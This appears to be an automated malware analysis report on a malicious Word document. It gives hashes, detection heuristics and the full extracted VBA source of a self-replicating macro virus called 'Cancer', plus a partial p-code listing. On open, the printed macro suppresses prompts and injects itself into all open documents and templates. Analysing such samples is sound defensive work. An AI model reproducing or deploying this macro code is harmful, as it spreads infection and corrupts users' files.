Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2eb2574fccb2e3c0…

MALICIOUS

Office (OLE)

33.5 KB Created: 2000-04-07 22:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 38d25731f1b82461d974b0f13650c112 SHA-1: 3e7c68fa5e2c07ca1112061ed789603e90b39220 SHA-256: 2eb2574fccb2e3c0dabe26c752e5da3675d5815b6f11c35ae383b0c44b0f4f9f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is present, and the script attempts to find and modify functions within other documents and templates. This behavior suggests an attempt to spread malicious functionality or establish persistence across documents. The exact payload or ultimate goal is not clear from the provided script excerpt.

Heuristics 3

  • ClamAV: Doc.Trojan.Allfunc-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Allfunc-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8391 bytes
SHA-256: eb8210e281278d8173dd6e554b7848f5856544610d063e1c90daba77527a2f73
Detection
ClamAV: Doc.Trojan.Allfunc-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function Cancer()
Application.EnableCancelKey = wdCancelDisabled
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
Set TD = ThisDocument.VBProject.VBComponents
For FindCode = 1 To TD.Count
If TD.Item(FindCode).CodeModule.CountOfLines > 0 Then
For CodeLines = 1 To TD.Item(FindCode).CodeModule.CountOfLines
If TD.Item(FindCode).CodeModule.Lines(CodeLines, 1) = "Private Function Cancer()" Then
MyCode = TD.Item(FindCode).CodeModule.Lines(CodeLines, 40)
End If
Next
End If
Next
For MainLoop = 1 To 2
If MainLoop = 1 Then Set Target = Documents Else Set Target = Templates
For TargetCount = 1 To Target.Count
Set TargetComponents = Target(TargetCount).VBProject.VBComponents
For ModuleCount = 1 To TargetComponents.Count
Function_Exist = False
TargetCodeChanged = False
For TargetLines = 1 To TargetComponents(ModuleCount).CodeModule.CountOfLines
If TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1) = "Private Function Cancer()" Then Function_Exist = True
If Left(TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1), 12) = "Private Sub " And Right(TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1), 8) <> ": Cancer" Then
TargetComponents(ModuleCount).CodeModule.ReplaceLine TargetLines, TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1) & ": Cancer"
TargetCodeChanged = True
ElseIf Left(TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1), 4) = "Sub " And Right(TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1), 8) <> ": Cancer" Then
TargetComponents(ModuleCount).CodeModule.ReplaceLine TargetLines, TargetComponents(ModuleCount).CodeModule.Lines(TargetLines, 1) & ": Cancer"
TargetCodeChanged = True
End If
Next
If Function_Exist = False Then TargetComponents(ModuleCount).CodeModule.AddFromString MyCode
If Function_Exits = False Or TargetCodeChanged = True Then
If MainLoop = 1 Then Documents(TargetCount).SaveAs FileName:=Documents(TargetCount).FullName
If MainLoop = 2 Then Templates(TargetCount).Save
End If
Next
Next
Next
End Function
Private Sub Document_Open(): Cancer
'My_Creator = Lys Kovick
'My_Name = Cancer
'My_Comments = Devil|liveD - God|doG
End Sub

' Processing file: /opt/analyzer/scan_staging/e3631932e7c343a58f03f97e1b300e33.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5913 bytes
' Line #0:
' 	FuncDefn (Private Function Cancer(id_FFFE As Variant))
' Line #1:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #2:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #4:
' 	SetStmt 
' 	Ld ThisDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set TD 
' Line #5:
' 	StartForVariable 
' 	Ld FindCode 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld TD 
' 	MemLd Count 
' 	For 
' Line #6:
' 	Ld FindCode 
' 	Ld TD 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #7:
' 	StartForVariable 
' 	Ld CodeLines 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld FindCode 
' 	Ld TD 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #8:
' 	Ld CodeLines 
' 	LitDI2 0x0001 
' 	Ld FindCode 
' 	Ld TD 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitStr 0x0019 "Private Function Cancer()"
' 	Eq 
' 	IfBlock 
' Line #9:
' 	Ld CodeLines 
' 	LitDI2 0x0028 
' 	Ld FindCode 
' 	Ld TD 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St MyCode 
' Line #10:
' 	EndIfBlock 
' Line #11:
' 	StartForVariable 
' 	Next 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	StartForVariable 
' 	Next 
' Line #14:
' 	StartForVariable 
' 	Ld MainLoop 
' 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.